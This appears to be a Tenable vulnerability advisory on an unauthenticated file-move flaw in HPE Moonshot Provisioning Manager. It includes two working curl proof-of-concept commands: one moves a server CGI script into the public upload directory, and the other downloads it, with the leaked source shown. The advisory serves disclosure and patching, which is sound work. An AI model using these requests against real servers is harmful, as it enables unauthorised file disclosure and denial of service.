Synopsis
Tenable found a new vulnerability in HPE Moonshot Provisioning Manager (MPM) while developing a Nessus plugin to detect HPESBHF03803. An unauthenticated remote attacker can use the web interface to move arbitrary files to the HPE MPM upload directory: /opt/hp/moonshot/upload. The unauthenticated attacker can then retrieve the moved file from https://[target]/upload.
The server uses normal mv semantics when moving the file. As such, this vulnerability can also be a denial of service attack. However, the MPM web server runs as the user moonshot:moonshot so the scope of damage is largely limited to the web server files.
The following curl command moves the file server_response.py to the upload directory as my_file:
[user@host]$ curl -kd "isofile.savepath=/opt/hp/moonshot/tinkerbell/cgi-bin/server_response.py&isofile.filename=myfile" https://[target]/cgi-bin/khuploadfile.cgi <html> <body> <p> File Upload Success <p> </body> </html> </pre>
The attacker can then grab the file with this curl command:
[user@host]$ curl -k https://[target]/upload/myfile
#!/usr/bin/python
import cgi
import os.path
import cgitb
cgitb.enable()
debug = False
if os.path.exists("/tmp/khupload"):
debug = True
fout = open("/tmp/server_response.log", "w")
... Truncated ...
Solution
Upgrade to HPE Moonshot version 1.24 or later.Additional References
https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03843en_usDisclosure Timeline
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